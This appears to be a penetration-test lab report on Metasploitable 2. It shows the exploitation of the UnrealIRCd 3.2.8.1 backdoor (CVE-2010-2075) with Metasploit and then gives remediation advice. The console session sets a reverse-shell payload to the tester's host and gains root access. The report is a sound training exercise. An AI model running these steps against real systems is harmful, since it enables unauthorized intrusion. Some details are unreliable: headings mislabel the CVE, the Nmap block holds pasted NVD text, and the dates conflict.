Summary

The vulnerability is a critical backdoor in the **UnrealIRCd 3.2.8.1**, associated with the **CVE-2010-2075**. This vulnerability has a backdoor that may allow the attacker to gain unauthorized remote access to the system without valid credentials. The backdoor was intentionally inserted into the official source code tarball distributed on mirror sites between November 2009 and June 2010 .

The testing was conducted to evaluate the security posture of the target system, focusing on identifying misconfigurations, outdated software, and known vulnerabilities. The assessment revealed that the **UnrealIRCd** service is running a backdoor **version (3.2.8.1)** and exposes the system to well-known remote code execution techniques.

If successfully exploited, an attacker can gain unauthorized remote command execution on the system. This may lead to:

- Full system compromise
- Unauthorized access to files and sensitive data
- Ability to execute arbitrary system commands
- Installation of persistent backdoors or malware
- Potential pivoting inside the internal network
- Complete loss of confidentiality, integrity, and availability

Overview

Field	Details
Client Name	N/A
Testing Date	13-06-2026, 14-06-2026
Type of Testing	White Box Testing
Targeting Environment	Internal Network

Targeting System Overview

The assessment is performed on an internal network host to evaluate system security within a controlled environment. The target system is **Linux Based (Metasploit 2)** used for commonly security testing purposes.

In scope Assets

Components	Details
Target System	Metasploit 2
Target Host	192.168.56.101
Operating System	Linux(Parrot OS)
Network Type	Internal lab environment

Methodology

The penetration testing was conducted following the Penetration Testing Execution Standard (PTES) , which defines a structured approach for security assessments

The testing was performed in the following phases:

1. Pre-engagement Interactions

The scope and rules of engagement were defined. The target system (IP address) was identified, and authorization was confirmed for testing within the isolated lab environment. Testing dates and objectives were documented prior to any active reconnaissance.

2. Intelligence Gathering (Reconnaissance)

Passive and active information gathering was performed to collect data about the target system without directly triggering alarms. This included identifying the operating system, open ports, and running services using publicly available tools and techniques.

3. Threat Modeling

Based on the intelligence gathered, potential attack vectors were mapped. The identified service (UnrealIRCd) was analyzed for known vulnerabilities, and the likelihood of exploitation was assessed. This phase helped focus the testing on the highest-risk entry points.

4. Vulnerability Analysis

The target system was systematically scanned for weaknesses. This involved:

- Automated vulnerability scanning
- Manual verification of findings
- Cross-referencing service versions against public vulnerability databases (e.g., CVE, NVD, Exploit-DB).

5. Exploitation

Confirmed vulnerabilities were exploited to gain unauthorized access to the target system. The goal was to demonstrate real-world impact, not just list theoretical weaknesses. A penetration testing framework (Metasploit 2) was used to execute the exploit and establish a remote shell.

6. Post-Exploitation

After successful exploitation, the level of access was assessed. This phase focused on:

- Determining privilege level obtained
- Identifying sensitive data access
- Evaluating potential for lateral movement
- Understanding the business impact of full system compromise.

7. Reporting

All findings, evidence, and exploitation paths were documented in a clear, actionable format. Remediation recommendations were prioritized based on risk severity to guide the remediation team.

Finding & Evidence

Title: Backdoor Remote Code Execution in UnrealIRCd Service (CVE-2010-2075) on Port 6667

Severity Rating Scale

The following severity scale is used to classify vulnerabilities based on their **CVSS (Common Vulnerability Scoring System)** score and potential impact:

Severity	CVSS Score Range	Description
Critical	9.0 - 10	Severe vulnerability allowing full system compromise.
High	7.0 - 8.9	High risk with significant impact on confidentiality, integrity, or availability.
Medium	4.0 – 6.9	Moderate risk requiring attention but limited exploitability.
Low	0.1 – 3.9	Minor security issues with minimal impact.
Info	0.0	Informational findings with no direct security impact.

Applying Severity to Findings

As I search for this and I find the severity of CVE-2010-2075 on [Website](#).

Vulnerability	Affected Service	Service Version	CVE	CVSS	Severity
UnrealIRCd Backdoor Vulnerability	IRC (Port 6667)	UnrealIRCd 3.2.8.1	CVE-2010-2075	7.5	High / Critical

CVE-2020-2075 Report

What is the Issue?

The target system is running a backdoored version of [UnrealIRCd 3.2.8.](#), associated with [CVE-2010-2075](#). A malicious backdoor was intentionally inserted into the official source code distributed on mirror sites between November 2009 and June 2010. The attacker can take access to the system using this vulnerability.

What can attacker do?

If successfully exploited, an attacker can gain unauthorized remote command execution on the system. This may lead to:

- Full system compromise
- Unauthorized access to files and sensitive data
- Ability to execute arbitrary system commands
- Installation of persistent backdoors or malware
- Potential pivoting inside the internal network
- Complete loss of confidentiality, integrity, and availability

Where is the issue?

Target	192.168.56.101
Service	IRC (Internet Relay Chat)
Port	6667
Software	UnrealIRCd 3.2.8.1
Oprating System	Linux (Metasploitable 2)

Proof of Concept (PoC)

- Perform initial networking scanning using Nmap to identify the active host
- .Identified the target system at **192.168.56.101** and also find multiple open ports.
- Detected UnrealIRCd services running on port 6667.
- Find that the UnrealIRCd is running as Unreal3.2.8.1 .
- Research this version against the public vulnerability databases and find that this is a known exploit **CVE-2010-2075**.

CVE-2020-2075 Report

- Loaded the corresponding exploitation module within the penetration testing framework.
- Configured required exploit parameters and launched the attack.
- The attack run and successfully take the remote access of the system.

Evidences

Nmap Scanning

This will tell use the version of the UnrealIRCd after the scanning.

```
[mi@DevilPC]~$ nmap -sV 192.168.56.101

MODIFIED AFTER ENRICHMENT

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.

Description

UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally introduced modification (Trojan Horse) in the DEBUG3_DOLOG_SYSTEM macro, which allows remote attackers to execute arbitrary commands.

Evaluator Description

Per: <http://www.unrealircd.com/bxt/unrealsecadvisory.20100612.txt> 'Official precompiled Windows binaries (SSL and non-ssl) are NOT affected. CVS is also not affected. 3.2.8 and any earlier versions are not affected. Any Unreal3.2.8.1.tar.gz download BEFORE November 10 2009 should be safe, but you should really double-check, see next'

Metasploitable Framework

Metasploitable framework is a open source penetration testing platform which we can run in our host System which is **Parrot OS** in this case.

Exploitation Module

As Metasploitable framework provide dedicated exploitation module, as shown in the figure, which will be used for further exploitation, the primary requires setting the RHOST, LHOST, and LPORT.

```
[msf](Jobs:0 Agents:0) >> search unrealircd

Matching Modules
=====
#  Name                                     Disclosure Date   Rank    Check  Description
-  -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12       excellent No      UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

[msf](Jobs:0 Agents:0) >> █
```

Set the Required parameters

After using the exploitation module we need to set the parameters like RHOST (Target IP) , LHOST (Host / Attacking System IP), LPORT.

```
[msf](Jobs:0 Agents:0) >> use exploit/unix/irc/unreal_ircd_3281_backdoor
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set RHOST 192.168.56.101
RHOST => 192.168.56.101
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set lhost 192.168.56.1
lhost => 192.168.56.1
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> set lport 4444
lport => 4444
```

In first command we use the specific module, then we set RHOST to target IP (192.168.56.101), then we set the PAYLOAD to cmd/unix/reverse , after that we set LHOST to Host IP (192.168.56.1) and then we set LPORT to 4444 that is default port of metasploitable framework.

Run the attacker

After the setting we will run the attack to exploit the vulnerability and take the access to the system.

CVE-2020-2075 Report

```
[msf](Jobs:0 Agents:0) exploit(unix/irc/unreal_ircd_3281_backdoor) >> run

[*] Reading from socket B
[*] B: "APayVEcSfJ7MkJf7\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.101:58766) at 2026-05-14 10:18:17 +0500

whoami
root
hostname
metasploitable
```

As in above figure this is shown that when the command whoami is executed it tell the root and when hostname command is entered it show the hostname metasploitable, that show the exploitation of the system, and now the **UnrealIRCd** is exploit and we take access to the system through this vulnerability.

Remediation & Retesting Plan

Fix Recommendation

Upgrade the UnrealIRCd service to a secure and patched version of unreal or replace it with more secure alternative. Disable the vulnerability service if not required and restrict Unreal access using firewall rules. Remove compromised binaries and delete the old binaries, Reinstall fresh from trusted source.

Secure Configuration

- Disable the anonymous UnrealIRCd access.
- Restrict access to trusted IP only.
- Use only secure updated from official website [UnrealIRCd](#).
- Need immediate action.

Timeline Suggestion

- Immediate action (within 12-24 hours) for patching or disable the service.
- Full validation within 1-2 days.

Retesting Plan

The remediation will be verified by performing a follow-up security assessment after applying the fixes.

- Conduct the Nmap scan to confirm that the port 6667 is closed or not.
- Perform the exploitation to ensure that the vulnerability (**CVE 2010-2075**) is no longer exploitable.
- Validate that secure configuration are correctly implemented.

Appendices

Tools Used

Tools	Purpose
Nmap	For network and port scanning
Metasploitable Framework	For exploitation

Payload Used

- Metasploitable exploit Module for Unreal3.2.8.1 (CVE 2010-2075)
- cmd/unix/reverse to obtain an immediate root shell on the target system

Conclusion

The UnrealIRCd service running on Metasploitable 2 (port 6667) is a severely outdated and intentionally vulnerable service containing the infamous **CVE-2010-2075** backdoor, which allows remote attackers to execute arbitrary system commands as root without authentication. This vulnerability can be easily exploited using the Metasploit Framework's exploit/unix/irc/unreal_ircd_3281_backdoor module with a simple payload like cmd/unix/reverse to obtain an immediate root shell on the target system. The exercise demonstrates the critical importance of regular software updates, proper service configuration, and network segmentation, as running end-of-life services with known backdoors makes a system trivially compromisable. For penetration testers, this vulnerability serves as an excellent real-world example of how a single outdated service can lead to complete system compromise, reinforcing the need for continuous vulnerability assessment and patch management in production environments.
